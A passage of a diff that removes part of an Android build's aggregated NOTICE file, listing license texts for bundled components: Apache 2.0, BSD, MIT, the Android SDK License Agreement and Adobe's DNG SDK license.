-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright [yyyy] [name of copyright owner]
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-
-Copyright (c) 2000-2011 INRIA, France Telecom
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions
-are met:
-
-1. Redistributions of source code must retain the above copyright
-   notice, this list of conditions and the following disclaimer.
-
-2. Redistributions in binary form must reproduce the above copyright
-   notice, this list of conditions and the following disclaimer in the
-   documentation and/or other materials provided with the distribution.
-
-3. Neither the name of the copyright holders nor the names of its
-   contributors may be used to endorse or promote products derived from
-   this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
-LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
-SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
-INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
-CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
-ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
-THE POSSIBILITY OF SUCH DAMAGE.
-
-Apache Commons Compress
-Copyright 2002-2016 The Apache Software Foundation
-
-This product includes software developed at
-The Apache Software Foundation (http://www.apache.org/).
-
-The files in the package org.apache.commons.compress.archivers.sevenz
-were derived from the LZMA SDK, version 9.20 (C/ and CPP/7zip/),
-which has been placed in the public domain:
-
-"LZMA SDK is placed in the public domain." (http://www.7-zip.org/sdk.html)
-
-
- The MIT License
-
- Copyright (c) 2004-2016 Paul R. Holser, Jr.
-
- Permission is hereby granted, free of charge, to any person obtaining
- a copy of this software and associated documentation files (the
- "Software"), to deal in the Software without restriction, including
- without limitation the rights to use, copy, modify, merge, publish,
- distribute, sublicense, and/or sell copies of the Software, and to
- permit persons to whom the Software is furnished to do so, subject to
- the following conditions:
-
- The above copyright notice and this permission notice shall be
- included in all copies or substantial portions of the Software.
-
- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
- EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
- MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
- NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
- LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
- OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
- WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
-======================================================================
-prebuilts/sdk/NOTICE
-
-ANDROID SOFTWARE DEVELOPMENT KIT
-
-Terms and Conditions
-
-This is the Android Software Development Kit License Agreement.
-
-1. Introduction
-
-1.1 The Android Software Development Kit (referred to in this License Agreement as the "SDK" and
-specifically including the Android system files, packaged APIs, and Google APIs add-ons) is
-licensed to you subject to the terms of this License Agreement. This License Agreement forms a
-legally binding contract between you and Google in relation to your use of the SDK.
-
-1.2 "Google" means Google Inc., a Delaware corporation with principal place of business at 1600
-Amphitheatre Parkway, Mountain View, CA 94043, United States.
-
-2. Accepting this License Agreement
-
-2.1 In order to use the SDK, you must first agree to this License Agreement. You may not use the
-SDK if you do not accept this License Agreement.
-
-2.2 You can accept this License Agreement by:
-
-(A) clicking to accept or agree to this License Agreement, where this option is made available to
-you; or
-
-(B) by actually using the SDK. In this case, you agree that use of the SDK constitutes acceptance of
-the Licensing Agreement from that point onwards.
-
-2.3 You may not use the SDK and may not accept the Licensing Agreement if you are a person barred
-from receiving the SDK under the laws of the United States or other countries including the country
-in which you are resident or from which you use the SDK.
-
-2.4 If you are agreeing to be bound by this License Agreement on behalf of your employer or other
-entity, you represent and warrant that you have full legal authority to bind your employer or such
-entity to this License Agreement. If you do not have the requisite authority, you may not accept
-the Licensing Agreement or use the SDK on behalf of your employer or other entity.
-
-3. SDK License from Google
-
-3.1 Subject to the terms of this License Agreement, Google grants you a limited, worldwide,
-royalty-free, non- assignable and non-exclusive license to use the SDK solely to develop
-applications to run on the Android platform.
-
-3.2 You agree that Google or third parties own all legal right, title and interest in and to the
-SDK, including any Intellectual Property Rights that subsist in the SDK. "Intellectual Property
-Rights" means any and all rights under patent law, copyright law, trade secret law, trademark law,
-and any and all other proprietary rights. Google reserves all rights not expressly granted to you.
-
-3.3 Except to the extent required by applicable third party licenses, you may not copy (except for
-backup purposes), modify, adapt, redistribute, decompile, reverse engineer, disassemble, or create
-derivative works of the SDK or any part of the SDK. Except to the extent required by applicable
-third party licenses, you may not load any part of the SDK onto a mobile handset or any other
-hardware device except a personal computer, combine any part of the SDK with other software, or
-distribute any software or device incorporating a part of the SDK.
-
-3.4 Use, reproduction and distribution of components of the SDK licensed under an open source
-software license are governed solely by the terms of that open source software license and not
-this License Agreement.
-
-3.5 You agree that the form and nature of the SDK that Google provides may change without prior
-notice to you and that future versions of the SDK may be incompatible with applications developed
-on previous versions of the SDK. You agree that Google may stop (permanently or temporarily)
-providing the SDK (or any features within the SDK) to you or to users generally at Google's sole
-discretion, without prior notice to you.
-
-3.6 Nothing in this License Agreement gives you a right to use any of Google's trade names,
-trademarks, service marks, logos, domain names, or other distinctive brand features.
-
-3.7 You agree that you will not remove, obscure, or alter any proprietary rights notices (including
-copyright and trademark notices) that may be affixed to or contained within the SDK.
-
-4. Use of the SDK by You
-
-4.1 Google agrees that it obtains no right, title or interest from you (or your licensors) under
-this License Agreement in or to any software applications that you develop using the SDK, including
-any intellectual property rights that subsist in those applications.
-
-4.2 You agree to use the SDK and write applications only for purposes that are permitted by (a) this
-License Agreement and (b) any applicable law, regulation or generally accepted practices or
-guidelines in the relevant jurisdictions (including any laws regarding the export of data or
-software to and from the United States or other relevant countries).
-
-4.3 You agree that if you use the SDK to develop applications for general public users, you will
-protect the privacy and legal rights of those users. If the users provide you with user names,
-passwords, or other login information or personal information, your must make the users aware that
-the information will be available to your application, and you must provide legally adequate privacy
-notice and protection for those users. If your application stores personal or sensitive information
-provided by users, it must do so securely. If the user provides your application with Google Account
-information, your application may only use that information to access the user's Google Account
-when, and for the limited purposes for which, the user has given you permission to do so.
-
-4.4 You agree that you will not engage in any activity with the SDK, including the development or
-distribution of an application, that interferes with, disrupts, damages, or accesses in an
-unauthorized manner the servers, networks, or other properties or services of any third party
-including, but not limited to, Google or any mobile communications carrier.
-
-4.5 You agree that you are solely responsible for (and that Google has no responsibility to you or
-to any third party for) any data, content, or resources that you create, transmit or display through
-the Android platform and/or applications for the Android platform, and for the consequences of your
-actions (including any loss or damage which Google may suffer) by doing so.
-
-4.6 You agree that you are solely responsible for (and that Google has no responsibility to you or
-to any third party for) any breach of your obligations under this License Agreement, any applicable
-third party contract or Terms of Service, or any applicable law or regulation, and for the
-consequences (including any loss or damage which Google or any third party may suffer) of any such
-breach.
-
-5. Your Developer Credentials
-
-5.1 You agree that you are responsible for maintaining the confidentiality of any developer
-credentials that may be issued to you by Google or which you may choose yourself and that you will
-be solely responsible for all applications that are developed under your developer credentials.
-
-6. Privacy and Information
-
-6.1 In order to continually innovate and improve the SDK, Google may collect certain usage
-statistics from the software including but not limited to a unique identifier, associated IP
-address, version number of the software, and information on which tools and/or services in the SDK
-are being used and how they are being used. Before any of this information is collected, the SDK
-will notify you and seek your consent. If you withhold consent, the information will not be
-collected.
-
-6.2 The data collected is examined in the aggregate to improve the SDK and is maintained in
-accordance with Google's Privacy Policy.
-
-7. Third Party Applications for the Android Platform
-
-7.1 If you use the SDK to run applications developed by a third party or that access data, content
-or resources provided by a third party, you agree that Google is not responsible for those
-applications, data, content, or resources. You understand that all data, content or resources which
-you may access through such third party applications are the sole responsibility of the person from
-which they originated and that Google is not liable for any loss or damage that you may experience
-as a result of the use or access of any of those third party applications, data, content, or
-resources.
-
-7.2 You should be aware the data, content, and resources presented to you through such a third party
-application may be protected by intellectual property rights which are owned by the providers (or by
-other persons or companies on their behalf). You may not modify, rent, lease, loan, sell, distribute
-or create derivative works based on these data, content, or resources (either in whole or in part)
-unless you have been specifically given permission to do so by the relevant owners.
-
-7.3 You acknowledge that your use of such third party applications, data, content, or resources may
-be subject to separate terms between you and the relevant third party. In that case, this License
-Agreement does not affect your legal relationship with these third parties.
-
-8. Using Android APIs
-
-8.1 Google Data APIs
-
-8.1.1 If you use any API to retrieve data from Google, you acknowledge that the data may be
-protected by intellectual property rights which are owned by Google or those parties that provide
-the data (or by other persons or companies on their behalf). Your use of any such API may be subject
-to additional Terms of Service. You may not modify, rent, lease, loan, sell, distribute or create
-derivative works based on this data (either in whole or in part) unless allowed by the relevant
-Terms of Service.
-
-8.1.2 If you use any API to retrieve a user's data from Google, you acknowledge and agree that you
-shall retrieve data only with the user's explicit consent and only when, and for the limited
-purposes for which, the user has given you permission to do so.
-
-9. Terminating this License Agreement
-
-9.1 This License Agreement will continue to apply until terminated by either you or Google as set
-out below.
-
-9.2 If you want to terminate this License Agreement, you may do so by ceasing your use of the SDK
-and any relevant developer credentials.
-
-9.3 Google may at any time, terminate this License Agreement with you if:
-
-(A) you have breached any provision of this License Agreement; or
-
-(B) Google is required to do so by law; or
-
-(C) the partner with whom Google offered certain parts of SDK (such as APIs) to you has terminated
-its relationship with Google or ceased to offer certain parts of the SDK to you; or
-
-(D) Google decides to no longer providing the SDK or certain parts of the SDK to users in the
-country in which you are resident or from which you use the service, or the provision of the SDK or
-certain SDK services to you by Google is, in Google's sole discretion, no longer commercially
-viable.
-
-9.4 When this License Agreement comes to an end, all of the legal rights, obligations and
-liabilities that you and Google have benefited from, been subject to (or which have accrued over
-time whilst this License Agreement has been in force) or which are expressed to continue
-indefinitely, shall be unaffected by this cessation, and the provisions of paragraph 14.7 shall
-continue to apply to such rights, obligations and liabilities indefinitely.
-
-10. DISCLAIMER OF WARRANTIES
-
-10.1 YOU EXPRESSLY UNDERSTAND AND AGREE THAT YOUR USE OF THE SDK IS AT YOUR SOLE RISK AND THAT THE
-SDK IS PROVIDED "AS IS" AND "AS AVAILABLE" WITHOUT WARRANTY OF ANY KIND FROM GOOGLE.
-
-10.2 YOUR USE OF THE SDK AND ANY MATERIAL DOWNLOADED OR OTHERWISE OBTAINED THROUGH THE USE OF THE
-SDK IS AT YOUR OWN DISCRETION AND RISK AND YOU ARE SOLELY RESPONSIBLE FOR ANY DAMAGE TO YOUR
-COMPUTER SYSTEM OR OTHER DEVICE OR LOSS OF DATA THAT RESULTS FROM SUCH USE.
-
-10.3 GOOGLE FURTHER EXPRESSLY DISCLAIMS ALL WARRANTIES AND CONDITIONS OF ANY KIND, WHETHER EXPRESS
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO THE IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
-
-11. LIMITATION OF LIABILITY
-
-11.1 YOU EXPRESSLY UNDERSTAND AND AGREE THAT GOOGLE, ITS SUBSIDIARIES AND AFFILIATES, AND ITS
-LICENSORS SHALL NOT BE LIABLE TO YOU UNDER ANY THEORY OF LIABILITY FOR ANY DIRECT, INDIRECT,
-INCIDENTAL, SPECIAL CONSEQUENTIAL OR EXEMPLARY DAMAGES THAT MAY BE INCURRED BY YOU, INCLUDING ANY
-LOSS OF DATA, WHETHER OR NOT GOOGLE OR ITS REPRESENTATIVES HAVE BEEN ADVISED OF OR SHOULD HAVE BEEN
-AWARE OF THE POSSIBILITY OF ANY SUCH LOSSES ARISING.
-
-12. Indemnification
-
-12.1 To the maximum extent permitted by law, you agree to defend, indemnify and hold harmless
-Google, its affiliates and their respective directors, officers, employees and agents from and
-against any and all claims, actions, suits or proceedings, as well as any and all losses,
-liabilities, damages, costs and expenses (including reasonable attorneys fees) arising out of or
-accruing from (a) your use of the SDK, (b) any application you develop on the SDK that infringes any
-copyright, trademark, trade secret, trade dress, patent or other intellectual property right of any
-person or defames any person or violates their rights of publicity or privacy, and (c) any
-non-compliance by you with this License Agreement.
-
-13. Changes to the License Agreement
-
-13.1 Google may make changes to the License Agreement as it distributes new versions of the SDK.
-When these changes are made, Google will make a new version of the License Agreement available on
-the website where the SDK is made available.
-
-14. General Legal Terms
-
-14.1 This License Agreement constitute the whole legal agreement between you and Google and govern
-your use of the SDK (excluding any services which Google may provide to you under a separate written
-agreement), and completely replace any prior agreements between you and Google in relation to the
-SDK.
-
-14.2 You agree that if Google does not exercise or enforce any legal right or remedy which is
-contained in this License Agreement (or which Google has the benefit of under any applicable law),
-this will not be taken to be a formal waiver of Google's rights and that those rights or remedies
-will still be available to Google.
-
-14.3 If any court of law, having the jurisdiction to decide on this matter, rules that any provision
-of this License Agreement is invalid, then that provision will be removed from this License
-Agreement without affecting the rest of this License Agreement. The remaining provisions of this
-License Agreement will continue to be valid and enforceable.
-
-14.4 You acknowledge and agree that each member of the group of companies of which Google is the
-parent shall be third party beneficiaries to this License Agreement and that such other companies
-shall be entitled to directly enforce, and rely upon, any provision of this License Agreement that
-confers a benefit on (or rights in favor of) them. Other than this, no other person or company shall
-be third party beneficiaries to this License Agreement.
-
-14.5 EXPORT RESTRICTIONS. THE SDK IS SUBJECT TO UNITED STATES EXPORT LAWS AND REGULATIONS. YOU MUST
-COMPLY WITH ALL DOMESTIC AND INTERNATIONAL EXPORT LAWS AND REGULATIONS THAT APPLY TO THE SDK. THESE
-LAWS INCLUDE RESTRICTIONS ON DESTINATIONS, END USERS AND END USE.
-
-14.6 The rights granted in this License Agreement may not be assigned or transferred by either you
-or Google without the prior written approval of the other party. Neither you nor Google shall be
-permitted to delegate their responsibilities or obligations under this License Agreement without the
-prior written approval of the other party.
-
-14.7 This License Agreement, and your relationship with Google under this License Agreement, shall
-be governed by the laws of the State of California without regard to its conflict of laws
-provisions. You and Google agree to submit to the exclusive jurisdiction of the courts located
-within the county of Santa Clara, California to resolve any legal matter arising from this License
-Agreement. Notwithstanding this, you agree that Google shall still be allowed to apply for
-injunctive remedies (or an equivalent type of urgent legal relief) in any jurisdiction.
-
-April 10, 2009
-
-======================================================================
-external/dng_sdk/NOTICE
-
-This version (dng_sdk 1.4) contains security patches from Google Inc.
-The changes were sent to Adobe Inc. (psirt@adobe.com) on Dec. 18th 2015 by kinan@google.com.
-
--------
-
-This product includes DNG technology under license by Adobe Systems
-Incorporated.
-
--------
-
-DNG SDK License Agreement
-NOTICE TO USER:
-Adobe Systems Incorporated provides the Software and Documentation for use under
-the terms of this Agreement. Any download, installation, use, reproduction,
-modification or distribution of the Software or Documentation, or any
-derivatives or portions thereof, constitutes your acceptance of this Agreement.
-
-As used in this Agreement, "Adobe" means Adobe Systems Incorporated. "Software"
-means the software code, in any format, including sample code and source code,
-accompanying this Agreement. "Documentation" means the documents, specifications
-and all other items accompanying this Agreement other than the Software.
-
-1. LICENSE GRANT
-Software License.  Subject to the restrictions below and other terms of this
-Agreement, Adobe hereby grants you a non-exclusive, worldwide, royalty free
-license to use, reproduce, prepare derivative works from, publicly display,
-publicly perform, distribute and sublicense the Software for any purpose.
-
-Document License.  Subject to the terms of this Agreement, Adobe hereby grants
-you a non-exclusive, worldwide, royalty free license to make a limited number of
-copies of the Documentation for your development purposes and to publicly
-display, publicly perform and distribute such copies.  You may not modify the
-Documentation.
-
-2. RESTRICTIONS AND OWNERSHIP
-You will not remove any copyright or other notice included in the Software or
-Documentation and you will include such notices in any copies of the Software
-that you distribute in human-readable format.
-
-You will not copy, use, display, modify or distribute the Software or
-Documentation in any manner not permitted by this Agreement. No title to the
-intellectual property in the Software or Documentation is transferred to you
-under the terms of this Agreement. You do not acquire any rights to the Software
-or the Documentation except as expressly set forth in this Agreement. All rights
-not granted are reserved by Adobe.
-
-3. DISCLAIMER OF WARRANTY
-ADOBE PROVIDES THE SOFTWARE AND DOCUMENTATION ONLY ON AN "AS IS" BASIS WITHOUT
-WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING
-WITHOUT LIMITATION ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT,
-MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. ADOBE MAKES NO WARRANTY
-THAT THE SOFTWARE OR DOCUMENTATION WILL BE ERROR-FREE. To the extent
-permissible, any warranties that are not and cannot be excluded by the foregoing
-are limited to ninety (90) days.
-
-4. LIMITATION OF LIABILITY
-ADOBE AND ITS SUPPLIERS SHALL NOT BE LIABLE FOR LOSS OR DAMAGE ARISING OUT OF
-THIS AGREEMENT OR FROM THE USE OF THE SOFTWARE OR DOCUMENTATION. IN NO EVENT
-WILL ADOBE BE LIABLE TO YOU OR ANY THIRD PARTY FOR ANY DIRECT, INDIRECT,
-CONSEQUENTIAL, INCIDENTAL, OR SPECIAL DAMAGES INCLUDING LOST PROFITS, LOST
-SAVINGS, COSTS, FEES, OR EXPENSES OF ANY KIND ARISING OUT OF ANY PROVISION OF
-THIS AGREEMENT OR THE USE OR THE INABILITY TO USE THE SOFTWARE OR DOCUMENTATION,
-HOWEVER CAUSED AND UNDER ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
-LIABILITY OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE), EVEN IF ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES. ADOBE'S AGGREGATE LIABILITY AND THAT OF ITS
-SUPPLIERS UNDER OR IN CONNECTION WITH THIS AGREEMENT SHALL BE LIMITED TO THE
-AMOUNT PAID BY YOU FOR THE SOFTWARE AND DOCUMENTATION.
-
-5. INDEMNIFICATION
-If you choose to distribute the Software in a commercial product, you do so with
-the understanding that you agree to defend, indemnify and hold harmless Adobe
-against any losses, damages and costs arising from the claims, lawsuits or other
-legal actions arising out of such distribution.
-
-6. TRADEMARK USAGE
-Adobe and the DNG logo are the trademarks or registered trademarks of Adobe
-Systems Incorporated in the United States and other countries. Such trademarks
-may not be used to endorse or promote any product unless expressly permitted
-under separate agreement with Adobe. For information on how to license the DNG
-logo please go to www.adobe.com.
-
-7. TERM
-Your rights under this Agreement shall terminate if you fail to comply with any
-of the material terms or conditions of this Agreement. If all your rights under
-this Agreement terminate, you will immediately cease use and distribution of the
-Software and Documentation.
-
-8. GOVERNING LAW AND JURISDICTION. This Agreement is governed by the statutes
-and laws of the State of California, without regard to the conflicts of law
-principles thereof. The federal and state courts located in Santa Clara County,
-California, USA, will have non-exclusive jurisdiction over any dispute arising
-out of this Agreement.
-
-9. GENERAL
-This Agreement supersedes any prior agreement, oral or written, between Adobe
-and you with respect to the licensing to you of the Software and Documentation.
-No variation of the terms of this Agreement will be enforceable against Adobe
-unless Adobe gives its express consent in writing signed by an authorized
-signatory of Adobe. If any part of this Agreement is found void and
-unenforceable, it will not affect the validity of the balance of the Agreement,
-which shall remain valid and enforceable according to its terms.
-
-======================================================================
-external/golang-protobuf/LICENSE
-
-Copyright 2010 The Go Authors.  All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-
-    * Redistributions of source code must retain the above copyright
-notice, this list of conditions and the following disclaimer.
-    * Redistributions in binary form must reproduce the above
-copyright notice, this list of conditions and the following disclaimer
-in the documentation and/or other materials provided with the
-distribution.
-    * Neither the name of Google Inc. nor the names of its
-contributors may be used to endorse or promote products derived from
-this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-
-======================================================================
-hardware/libhardware_legacy/NOTICE
-hardware/libhardware/NOTICE
-libnativehelper/NOTICE
-packages/providers/MediaProvider/NOTICE
-packages/services/Telephony/NOTICE
-system/tools/aidl/NOTICE
-
-
-   Copyright (c) 2005-2008, The Android Open Source Project
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
